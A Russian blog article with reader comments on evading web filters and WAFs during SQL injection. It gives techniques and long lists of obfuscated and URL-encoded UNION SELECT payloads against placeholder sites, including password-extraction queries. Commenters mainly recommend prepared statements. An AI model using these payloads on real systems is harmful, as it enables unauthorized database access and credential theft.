Методы обхода защитных средств веб-приложений при эксплуатации SQL-инъекций

    image

     
    При разработке современных веб-приложений необходимо использовать защитные средства. Тем не менее, стоит понимать, как они работают, эффективно их применять и осознавать, что они не являются панацеей от хакерских атак. В статье будут рассмотрены способы обхода средств фильтрации и защиты веб-приложений при эксплуатации sql-инъекций.


    Прежде чем приступить к рассмотрению вариантов обхода, давайте определимся с тем, что сегодня из себя представляют защитные средства — как нативные, так и "надстроенные".


    Защита


    Из нативных средств можно выделить разного рода валидаторы или преобразователи входящих данных. Они могут быть как самописными, так и использовать функции языка программирования. Например, в среде php распространено использование следующих функций:


    • mysql_escape_string — экранирует строку для использования в mysql_query;
    • addslashes — экранирует спецсимволы в строке;
    • htmlspecialchars — преобразует специальные символы в HTML сущности;
    • mysql_real_escape_string — экранирует специальные символы в unescaped_string;
    • intval — функция приведения типа.

    Большинство этих функций направлено на то, чтобы провести преобразование "опасных" символов, исходя из контекст использования. Наиболее эффективным средством защиты из вышеперечисленного является Intval.


    В "надстроенных" средствах защиты можно выделить два направления — защита веб приложения средствами веб-приложения (фреймворк), либо защита с помощью сторонних средств, например в виде web application firewall. В качестве первого примера можно привести использование HTMLPurifier: эта библиотека очищает html код от всех вредоносных, невалидных, запрещенных (вашей конфигурацией) частей кода, в том числе отдельные атрибуты.


    Обход защитных средств


    Для обхода защитных средств необходимо знать несколько вещей — из чего состоит веб-приложение, чем и как оно защищено, а также глубокое знание платформы и логики работы веб-приложения.


    Из простейших примеров: функционал современных сайтов содержит довольно много форм, позволяющих пользователю загружать произвольные файлы на сервер. Это могут быть изображения, документы, pdf файлы и т.д. Веб-разработчики зачастую используют концепцию «черного списка», прямо запрещающего загрузку потенциально опасных типов файлов: .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml. Использование черного списка не убережет владельца сайта от потенциальных рисков обхода фильтрации. Например, в новой версии PHP 7 добавлено новое расширение .php7, которое позволит обойти фильтрацию. Не все разработчики знают об этом и успели добавить его в черный список. Также в вышеприведенном перечислении расширений отсутствует .pht.


    Логически, зная как построена защита (изучив код при его наличии или логику фильтрации), можно пробовать ее обходить. Это может быть как черным списком, так и фильтрацией опасных конструкций с помощью регулярных выражений, преобразование или нормализация данных.


    Для обхода используются следующие техники:


    Инъекция нульбайта: использование %00 до вредоносного пейлоада. Защитные средства могут проигнорировать все символы после нуль-терминирования, но при этом передать весь запрос на веб-сервер.


    Смешанное содержимое: при использовании регистрозаивисимых регулярных выражений можно обойти защитные средства используя смешанное содержимое: например преобразуем


    <script>

    в


    <sCrIPt>

    Встроенные комментарии: использование комментария в атакующем запросе. Например,


    / *! SELECT * / 

    может быть пропущен защитным средством, но обработан в целевом веб-приложении.


    Раздробленные запросы (chunked): использование кодированных HTTP-запросов для разделения вредоносного пейлоада на несколько HTTP-запросов.


    Переполнение буфера: если мы сможем сформировать запрос, который вызовет переполнение буфера защитного механизма, мы можем обойти защитные средства (как в случае успешной эксплуатации самой уязвимости защиты, так и без эксплуатации в случае падения приложения).


    HTTP Parameter Pollution: параметрами HTTP-запроса являются пары, состоящие из ключа и значения, разделенные символом =. Первый запрос может быть обработан защитным средством, но на стороне веб-приложения выполнится второй. Для разделения используются &, ; и.т.д.


    URL encoding (hex): использование 16-ричного представления символов, например таких как %27 символа кавычки. Это само по себе может быть недостаточным для многих современных средств защиты, но может быть использовано в сочетании в другими методами обхода. Могут встречаться и другие функции преобразования, например функция reverse:


    reverse(‘>tpircs/<)niamod.tnemucod(trela>tpircs<‘)

    Разделение ключевых слов: здесть можно использовать особенности средств защиты для внедрения пейлоада — добавляем спецсимволы и т.д. в качестве разделителя, они вырезаются защитными средствами и на выходе мы получаем обработанный, но целый пейлоад:


    SEL <ECT

    будет обработан и из него будет вырезана угловая скобка, на выходе получим


    SELECT

    Дублирование ключевых слов: этот метод похож на предыдущий — мы добавляем стоп-слово к запросу, чтобы обмануть механизм защиты:


    SELECTSELECT

    будет обработан и из него будет вырезан первый SELECT, на выходе получим


    SELECT

    Сброс сессионной куки: для того чтобы не попасть под фильтрацию частых нелигитимных запросов необходимо сбрасывать сессию у каждого запроса.


    IP репутация: как и в предыдущем примере, при частых запросах с одного IP — могут быть заблокированы и все остальные с этого адреса. Использования множества адресов для атаки может помочь обойти это ограничение.


    Header injection: иногда можно дать понять приложению что запрос пришел из доверенной сети. При отсутствии должных проверок можно подставить доверенно адрес, например 127.0.0.1 в следующие поля:


    X-forwarded-for
    X-remote-IP
    X-originating-IP
    x-remote-addr

    Популярные методы обхода защиты от sql-инъекций


    Существует два вида инъекций — в строковом или числовом параметре:


    Строковый


    Example: SELECT * from table where example = 'Example'

    Числовой


    Example: SELECT * from table where id = 123

    Инъекции делятся на несколько типов, в зависимости от СУБД или условий инъекции, от этого зависят и методы обхода защиты.


    Самое популярное заблуждение — фильтрация одинарной кавычки: т.е. если кавычки в запросе не будет — то и инъекция (разделение запроса) невозможна. Поэтому мы и не будем разделять запрос, мы его объединим с помощью оператора UNION, а для удобства возьмем еще и несуществующий ID:


    example.site/index.php?id=-1 UNION SELECT password FROM users

    Обход нормализации:


     /? Id = 1 + union + select + 1,2,3 / *

    такой запрос будет заблокирован, поэтому сформируем обфусцированный запрос:


     /?id=1/*union*/union/*select*/select+1,2,3/*

    который после нормализации защитными средствами:


    ?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*

    "соберется" в необходимый пейлоад:


     /? Id = 1 + union + select + 1,2,3 / *

    Аналогичный пример запроса:


     /?id=1+un/**/ion+sel/**/ect+1,2,3--

    также "соберется" в необходимый пейлоад:


     /? Id = 1 + union + select + 1,2,3 / *

    Можно использовать расщепление запроса (HTTP Parameter Pollution):
    уязвимый код:


    SQL=" select key from table where id= "+Request.QueryString("id")

    расщепляем запрос:


     /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

    преобразуется в:


     id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users

    Также можно использовать фрагментацию запроса (HTTP Parameter Fragmentation):
    уязвимый код:


     Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
     Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);

    фрагментируем:


     /?a=1+union/*&b=*/select+1,2
     /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

    получаем запрос:


     select * from table where a=1 union/* and b=*/select 1,2
     select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--

    Используем логические операторы:


     /?id=1+OR+0x50=0x50
     /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

    Вместо знака равенства можно использовать знаки отрицания и неравенства (! =, <>, <,>) .


    and 1
    or 1
    and 1=1
    and 2<3
    and 'a'='a'
    and 'a'<>'b'
    and char(32)=' '
    and 3<=2
    and 5<=>4
    and 5<=>5
    and 5 is null
    or 5 is not null

    Естественно что можно комбинировать различные методы для достижения результата по обходу. Пример различных запросов по одному значению:


    select user from mysql.user where user = 'user' OR mid(password,1,1)='*'
    select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a
    select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a')
    select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]'
    select user from mysql.user where user = 'user' OR mid(password,1,1) like '*'
    select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]'
    select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42
    select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42
    select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1
    select user from mysql.user where user = 'user' OR position(0x2a in password)=1
    select user from mysql.user where user = 'user' OR locate(0x2a,password)=1

    Такие атаки могут успешно проходить при наличии следующих условий:


    • Уязвимости в функциях нормализации запроса.
    • Применение технологий HPP и HPF.
    • Обход правил фильтрации (сигнатуры).
    • Уязвимости логики работы приложения (и / или).

    Примеры сигнатурного обхода


    /*!%55NiOn*/ /*!%53eLEct*/
    
     %55nion(%53elect 1,2,3)-- -
    
     +union+distinct+select+
    
     +union+distinctROW+select+
    
     /**//*!12345UNION SELECT*//**/
    
     concat(0x223e,@@version)
    
     concat(0x273e27,version(),0x3c212d2d)
    
     concat(0x223e3c62723e,version(),0x3c696d67207372633d22)
    
     concat(0x223e,@@version,0x3c696d67207372633d22)
    
     concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62​723e)
    
     concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)
    
     concat(‘’,@@version,’’)
    
     /**//*!50000UNION SELECT*//**/
    
     /**/UNION/**//*!50000SELECT*//**/
    
     /*!50000UniON SeLeCt*/
    
     union /*!50000%53elect*/
    
     +#uNiOn+#sEleCt
    
     +#1q%0AuNiOn all#qa%0A#%0AsEleCt
    
     /*!%55NiOn*/ /*!%53eLEct*/
    
     /*!u%6eion*/ /*!se%6cect*/
    
     +un/**/ion+se/**/lect
    
     uni%0bon+se%0blect
    
     %2f**%2funion%2f**%2fselect
    
     union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
    
     REVERSE(noinu)+REVERSE(tceles)
    
     /*--*/union/*--*/select/*--*/
    
     union (/*!/**/ SeleCT */ 1,2,3)
    
     /*!union*/+/*!select*/
    
     union+/*!select*/
    
     /**/union/**/select/**/
    
     /**/uNIon/**/sEleCt/**/
    
     /**//*!union*//**//*!select*//**/
    
     /*!uNIOn*/ /*!SelECt*/
    
     +union+distinct+select+
    
     +union+distinctROW+select+
    
     +UnIOn%0d%0aSeleCt%0d%0a
    
     UNION/*&test=1*/SELECT/*&pwn=2*/
    
     un?+un/**/ion+se/**/lect+
    
     +UNunionION+SEselectLECT+
    
     +uni%0bon+se%0blect+
    
     %252f%252a*/union%252f%252a /select%252f%252a*/
    
     /%2A%2A/union/%2A%2A/select/%2A%2A/
    
     %2f**%2funion%2f**%2fselect%2f**%2f
    
     union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
    
     /*!UnIoN*/SeLecT+

    Примеры url-encoded при проведении union select запросов


       %55nion(%53elect)
    
       union%20distinct%20select
    
       union%20%64istinctRO%57%20select
    
       union%2053elect
    
       %23?%0auion%20?%23?%0aselect
    
       %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
    
       %55nion %53eLEct
    
       u%6eion se%6cect
    
       unio%6e %73elect
    
       unio%6e%20%64istinc%74%20%73elect
    
       uni%6fn distinct%52OW s%65lect
    
       %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7

    Примеры смешанного содержимого запросов


    unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))
     /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)

    union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?

    Примеры замены сигнатур


    http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
    http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--

    Переполнение буфера


     http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(тут добавляем более 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….

    HEX/url encoding


    http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….

    Очистка «странных» символов или функций


     http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4…

    Заключение


    Придерживаться правила: all input is evil until proven otherwise.
    Тщательно проверять входящие данные.
    Тщательно проверять входящие данные.
    Тщательно проверять входящие данные.
    Использовать комплексные средства защиты веб-приложений от хакерских атак.




    В следующей статье я расскажу о методах обхода защитных средств веб-приложений при эксплуатации xss-векторов.

    OWASP
    Company
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 59

      +7

      От всего перечисленного спасёт банальнейший PDO. Он сам всё проверит и экранирует как надо.


      А от XSS спасёт банальнейшее принудительное экранирование всех выводимых переменных, которое есть в любом нормальном шаблонизаторе. Ну и jevix и аналоги, если html всё-таки нужен.

        0
        Prepared statements / parameterized queries are generally sufficient to prevent 1st order injection on that statement*. If you use un-checked dynamic sql anywhere else in your application you are still vulnerable to 2nd order injection.
        2nd order injection means data has been cycled through the database once before being included in a query, and is much harder to pull off. AFAIK, you almost never see real 2nd order attacks, as it is usually easier for attackers to social-engineer their way in.
        You can accomplish a 2nd order injection attack when you can cause a value to be stored in a database that is later used as a literal in a query. As an example, let's say you enter the following information as your new username when creating an account on a web site (assuming MySQL DB for this question):
        ' + (SELECT UserName + '_' + Password FROM Users LIMIT 1) + '
          +3

          А теперь по-русски и с полным примером вместо непонятного огрызка, пожалуйста

            +1

            Так и думал, что меня заминусуют, но я так ничего и не понял. Кто будет в здравом уме писать такой запрос, который приведён в этом огрызке? Злоумышленник его написать не сможет, потому что PDO всё заэкранирует, а программисту такое писать зачем?

            +4
            Собирать SQL со строками полученными откуда угодно, из базы, от пользователя, по сети и т.д. — ССЗБ! Делайте это сколько хотите, только параметры оставьте параметрами и все дела.
          0
          Собсна ничего не мешает проверять входные данные в регулярке вида ^(тут_условие)$, или использовать менее параноинальный вариант, но использовать группу.
          Или прописать пару правил для args и location в nginx, или просто собрать последный с naxsi и снова поколдовать.
            +3
            Ничего не мешает, но A1 — SQL injection возглавляет список OWASP который год подряд.
            +2
            SQL инъекции как класс лечатся связыванием переменных.
            Плюсом идет ускорение работы с БД.

            https://www.google.ru/search?q=sql+bind+variable

            Если уж про PHP, то:
            http://php.net/manual/ru/mysqli.prepare.php
            http://php.net/manual/ru/function.pg-prepare.php
            http://php.net/manual/ru/function.oci-parse.php
            и т.д. для остальных баз.
                0

                Ускорение работы с БД получается только при отправке нескольких запросов с одной структурой, но разными параметрами.


                Если же запросы все разные, то работа с БД замедляется: вместо одного запроса к БД нужно сделать два (prepare + execute).

                  0
                  Суть prepared statement в том, что приложение еще на этапе инициализации приложения перекачивает все свои шаблоны sql-запросов на сервер базы данных. Если какая-то часть запросов формируется динамически, и они кажутся на первый взгляд разными, то все равно их можно повторно использовать, следовательно к ним уже не надо применять повторные prepare. т.е. по-любому будет ускорение. Надо просто сохранить все дескрипторы этих «разных» sql запросов для повторного использования просто поместив их в общий пул.
                    0

                    Суть в том, что некоторые языки созданы, чтобы умирать. И даже хотя у этих языков есть режимы, в которых они не умирают — основной режим все же подразумевает смерть после каждого запроса. И потому у пишущих на таких языках нет никакого общего пула для запросов, который можно было бы подготовить на этапе инициализации приложения. Даже пула соединений — и того нет.


                    Вот и пытаются экономить на числе prepare-запросов...

                      –1
                      То что процесс обработавший запрос должен умиреть — это просто исторически сложившаяся практика. Умирают процессы именно тех или иных движков, CMS, framework. А процессы на других движках этих же языков программирования могут жить годами и ничего с ними не происходит. Просто многие движки родились до появляения технологии prepared statement. И просто так их теперь не переделать. Это совершенно иная концепция. Но если с нуля писать проект можно практически на любом языке полноценно использовать весь стек технологии prepared statement. Было бы желание и умение. И не важно это java, php, perl или еще что-то.

                      Врочем, если какой-то язык программирования технически не поддерживает prepared statement, то вероятно это именно случай когда умирает сам язык программирования, а не его процессы.
                        0

                        Вы так пишите, как будто prepared statement является единственным, что отделяет "умирающие" варианты php от "неумирающих". На самом же деле это — последнее в списке различий.

                      0
                      На php все эти prepared запросы умирают. Они будут жить, только если использовать демоны вида phpDaemon, reactphp, prefork.
                        0
                        mysql их может кешировать и польза всё равно будет
                          +1
                          Не может. Нет там никакой пользы, только замедление и лишние накладные расходы в парадигме die always. Query Cache это другое, он работает независимо от того используются ли Prepared statements или нет.
                            0
                            В пределах сесии может
                            The server maintains caches for prepared statements and stored programs on a per-session basis. Statements cached for one session are not accessible to other sessions. When a session ends, the server discards any statements cached for it.


                            То есть от кучи запросов от ORM вида:
                            SELECT * FROM sometable WHERE id = ?
                            


                            Будет повторное использование и может быть даже польза =)
                            В целом согласен с вашим утверждением.
                              +1
                              За такое — select в цикле — по рукам надо бить в продакшене, максимум можно в каких-нибудь небольших вспомогательных утилитах делать. Запросы такого вида должны выглядеть либо как Ic IN (?,?,?), либо как JOIN, либо как subselect в новых версиях mysql, где они не уступают по скорости JOIN.
                  0
                  Тщательно проверять входящие данные.
                  Использовать плейсхолдеры, про которые в статье почему-то не написано.
                    0
                    А можно тупой вопрос к знатокам? :)

                    Если собираются данные в SQL вопрос типа такого:
                    'SELECT * from `table` where `id`="' + Экранирование( param ) + '"'

                    Где Экранирование заменяет
                    \, \0, \n, \r, ', ", \x1a
                    на соответствующее со слэшем
                    \\, \\0, \\n, \\r, \\', \\", \\Z

                    Возможна ли инъекция?
                    И если да — то каким образом?

                    Заранее благодарю за ответ.
                      0

                      Ну зачем, зачем так делать в двадцать первом веке? Чем вам параметризованные запросы не угодили?

                        0
                        Что такое параметризованные запросы я в курсе.

                        А не затруднит все-таки ответить на вопрос?
                        Мне интересны именно способы атаки на такой вектор защиты — вот и все, ну и, судя по ответам, атаку не возможно провести :)
                          0

                          Для начала, уточните с какой СУБД работаете.

                            0
                            Пусть будет MariaDB или MySQL
                              0

                              Для MariaDB/MySQL ваша функция эквивалентна mysql_real_escape_string, о чем вам уже написали ниже пока я забывал этот сделать :), поэтому напрямую SQL-инъекцию тут не засунуть.


                              И "уязвимость" такого подхода тоже общая с mysql_real_escape_string — очень просто забыть вызвать эту функцию. Более того: нет способа автоматически узнать, не забыл ли ваш коллега вызвать функцию экранирования. Но при должной аккуратности такой способ вполне пригоден для использования.

                              –1
                              И вот так каждый раз — я этот вопрос задавал много-много раз — и так никто мне ответить на него и не смог :)
                                0
                                А ваш вопрос некорректен на самом деле. Опишите функцию «Экранирование (param)». В вашем вопросе это некая абстракция, которую сложно оценить. Или приведите ее исходник. А то (если честно), даже не хочется время терять на гадание.
                                Допустим, по вашей постановке задачи я решу, что ваша функция «Экранирование», это что-то типа
                                preg_replace("/'/", "\\'", $param);
                                

                                а $param — это $_GET['id'].

                                Подходит мое предположение под описание в вашей задаче? Подходит.
                                Так это на самом деле? Не уверен.
                                Вот и не отвечает вам никто. В вопросе конкретики не хватает, а ванговать не все умеют.
                                  0
                                  даже не хочется время терять на гадание

                                  Странно, а зачем гадать, если можно просто уточнить? Ведь это совсем не сложно и при этом очень часто бывает так, что то, что одному очевидно, другому совсем непонятно.
                                  И это вполне нормально :)

                                  Без проблем, если на PHP, то пусть будет так (regexp использовать избыточно):
                                  function screen( $s ) {
                                  	return str_replace(
                                  		array( '\\', "\0", "\n", "\r", "'", '"', "\x1a" ),
                                  		array( '\\\\', '\\0', '\\n', '\\r', "\\'", '\\"', '\\Z' ),
                                  		$s
                                  	) ;
                                  }

                                  Естественно, считаем что кодировки все настроены правильно.
                                  Аргумент — пусть будет что-то из $_REQUEST / $_GET / $_POST.

                                  Ну и заранее благодарю за ответ и за время, потраченное на мой коммент.
                                    0
                                    Ok, спасибо, теперь понятно. Навскиду с учетом того, что в sql запросе подставляемое значение вы обернули в одинарные кавычки мне кажется что sql-иньекция в данном случае проблематична.
                                      0
                                      Спасибо за ответ.

                                      На самом деле первоначально в PHP плейсходеры делались внутри драйвера именно через функцию, и как правильно здесь заметили — это исходник mysql_real_escape_string.

                                      И мне тоже не видится абсолютно никакого способа сделать здесь инъекцию — но всегда было интересно — может быть это просто я не вижу :)
                                        0
                                        Нужно еще на детали смотреть.

                                        Например, есть sql_mode=NO_BACKSLASH_ESCAPES, есть хитрые восточные кодировки, в которых нельзя просто все экранировать бэкслэшами.

                                        Это что я сходу могу вспомнить, может и еще что-то есть…
                                      0

                                      Поглядел исходники mysql_real_escape_string — она ровно тем же самым и занимается)

                          +4

                          Не надо ничего "проверять". Надо правильно работать с базой данных: использовать prepared statements, а где это не подходит — правильно форматировать SQL-запрос с учетом синтаксиса SQL.


                          Если бы хабр "проверял", вы бы не смогли запостить эту статью.

                            0

                            Мне кажется — из нативных тут в первую очередь плейсхолдеры, приведение типов, здравый смысл грамотный алгоритм обработки запросов. При чем тут хтмл, (в статье то про sql инъекци) слегка неясно. Да и хтмл — он и в Африке хтмл, тот кто парсит его регекспами такие статьи не читает.

                              +1
                              После прочтения мне даже стало интересно посмотреть на эти «системы безопасности», которые подобным образом обходятся с входными данными. Это же натуральное вредительство — кто ими пользуется?
                                +4

                                В основном в банках, процессингах и так далее. Там такой агрессивный черный список не помешает (с реальными данными не пересечется), а от уязвимости в очередном апдейте софта от вендора, который решил сэкономить и нанял индусов на апворке, может спасти.


                                Вроде бы web application firewall даже обязателен по PCI-DSS, но тут не эксперт, могу и ошибаться.

                                0
                                Защита от SQL-инъекций очень простая — используйте запросы с параметрами! Не составляйте запросы путём сложения строк! А ещё лучше используйте ORM.
                                  0

                                  Пришла идея в голову
                                  Использовать белый список при работе с символьной обработкой
                                  И черный список слов, состоящих из белых символов
                                  Т.е., допустим, можно передавать только буквы латинского алфавита. И в черный список добавить все зарегистрированные слова(SELECT и т.д.)

                                    0

                                    Во-первых, у такой защиты будет очень ограниченная область применения, так как она даже ваш же комментарий не пропустит. Во-вторых, все слова в чёрный список не подобавляешь, а даже если и подобавляешь, то в какой-нибудь новой версии MySQL появятся ещё слова, которые все забудут добавить. В-третьих, ну блин есть экранирование, PDO, prepared statements, нечего велосипеды городить

                                      0

                                      PDO да, согласен, но такая защита нужна не только для баз.
                                      P.S: Если экранировать все, что не в белом списке? Так и данные передаются и запросы не будут выполнены

                                        +1

                                        Зачем всё то что не в белом списке, достаточно просто экранировать вообще всё) Неважно, для баз или чего-то ещё

                                    +1
                                    Всё содержимое статьи следует заменить тремя буквами: PDO.
                                    Заголовок можно оставить.
                                    В каком году PDO появился, 2004-2005? Вот настолько лет рассуждения автора отстали от жизни.
                                    Ладно, пусть не PHP, хотя автор выбрал для примеров его, пусть другой язык. Но и там слой абстракции работы с бд будет уметь биндинг данных, чтобы не городить этих велосипедов.

                                    Такая некомпетентность в корп. блоге. Хабр… Рука-лицо…
                                      0
                                      Если вы используете PDO — это прекрасно. Обратите внимание — статья не о методах защиты, а о методах ее обхода. Существует защита от инъекций — это и PDO и другие методы, указанные в комментариях. Можно вообще не использовать БД — вообще самый радикальный метод =) К сожалению не все придерживаются такого мнения, поэтому SQL-инъекции все еще так распространены/
                                        0

                                        Вот только PDO обойти невозможно.

                                          0
                                          Не PDO, а систему передачи параметров в запрос через плейсхолдеры. А обёртка вокруг плейсхолдеров может быть любая.
                                          0

                                          Всё ещё жду способов обхода PDO.)

                                            0

                                            Нельзя строго сказать, что это способ обхода PDO, но в экзотическом случае с не вполне корректной конфигурацией...


                                            http://stackoverflow.com/a/12202218

                                            +1
                                            Неважно о чем сама статья. В конце статьи есть заключение. В нем написано «Тщательно проверять входящие данные». Совершенно дикий совет. Будь там написано «используйте параметризированный SQL» — статья была бы хорошей. Правда, очень короткой, и ссылку на WAF в нее не получичилось бы вставить :)

                                            А так — это не современная статья по защите от инъекций, а просто набор хитрых способов обхода «защитных костылей».
                                              0
                                              Статья так и называется: методы обхода защитных средств веб-приложений при эксплуатации SQL-инъекций.
                                                +1
                                                Ну так и я о том же. Стандартная защита от SQL-инъекций — параметризированные запросы (через PDO в случае с PHP). В статье об обходе параметризации — ни слова. Все остальное — это не защитные средства, а «защитные средства». А в названии статьи у вас кавычек почему-то нет.
                                          –2
                                          Почти «поваренная книга хакера» вышла, ведь, к сожалению, нынешние молодые хакеры зачастую ищут не «как взломать конкретный сайт/базу», а ищут сайт/базу которые им удастся взломать подсмотренным где-либо способом.
                                          Ну и способ сразу заносится в копилку.
                                          Равно как и сайт.
                                            0
                                            При переборе запросов неизбежны ошибки mySQL, если при возникновении ошибки командой mail() слать админу оповещение с текстом, это предупредит что сайт под атакой. Да и вообще интересно посмотреть будет сам запрос.
                                              –1
                                              Периодически курирую всякие проекты от мелких до сперкрупных на тему: «Чтобы в базе данных все летало и чтобы нас не сломали sql-инъекциями». 90% проектов, которые я курировал уже после их разработки использовали все что только можно придумать кроме использования банальных prepared statement. Или вообще никак не фильтровали входящие данные и даже не пользовались функцией экранирования. Как всегда на фразу: парни переходим на использование prepared statement начинаются споры разрабов: «Никто так не делает. Первый раз про это слышу. У меня в багаже туева хуча проектов но никто не требовал использовать prepared statement.»

                                              А уж услышав что есть возможность еще на этапе инициализации приложения перекачать все sql-запросы на сервер базы данных, проверить их там на ошибки и т.п., вообще у многих срывает крышу, так как для многих это вообще не вписывается в их картину мира.

                                              Но самое интересное становится когда приложение, наконец, научится работать с prepared statement. Во время запуска начинает иной раз десятки секунд (если запросов десятки тысяч) перекачивать свои sql-запросы на сервер базы данных. И ты ошалевшим разрабам объясняешь, что этим мы перенесли значительную нагрузку с онлайн-режима работы приложения в офлайн. Из кода приложения можно убрать кучу обработчиков исключений по синтаксическим ошибкам в SQLзапросам. Что тоже снижает нагрузку.

                                              После запуска обновления владельцам проекта говоришь, что вместо 10 выделенных серверов теперь можно оставить 3. Они теперь справляются с нагрузкой.

                                              Но самое приятное получать зарплату 3-6 месяцев просто объясняя разрабам что такое prepared statement и рассказывая о всех плюшках.
                                                0

                                                Десять секунд запуск на сервере? Отлично, вы замечательно замедлили процесс отладки! Впрочем, до чудес шарика (10 минут на запуск) вам еще далеко, надо больше стараться.

                                                  0

                                                  Кстати, а как ваши подготовленные запросы дружат с пулом соединений к серверу?

                                                  0
                                                  А можете пояснить как используется строка
                                                  /? Id = 1 + union + select + 1,2,3 / *

                                                  Насколько я понял — это строка является целевой для исполнения. Но исполнения кем/чем?
                                                  Просто я не понимаю целевого значения /? и /* в конце строки… как это работает?
                                                    0

                                                    /? — это часть URL. Полный будет выглядеть как-то так: http://example.com/?Id=1+union+select+1,2,3/*


                                                    /* — это начало комментария. Используется чтобы выкинуть весь последующий код в запросе.


                                                      • это URL-закодированный пробел.

                                                      0
                                                      спасибо за ответ :)

                                                  Only users with full accounts can post comments. Log in, please.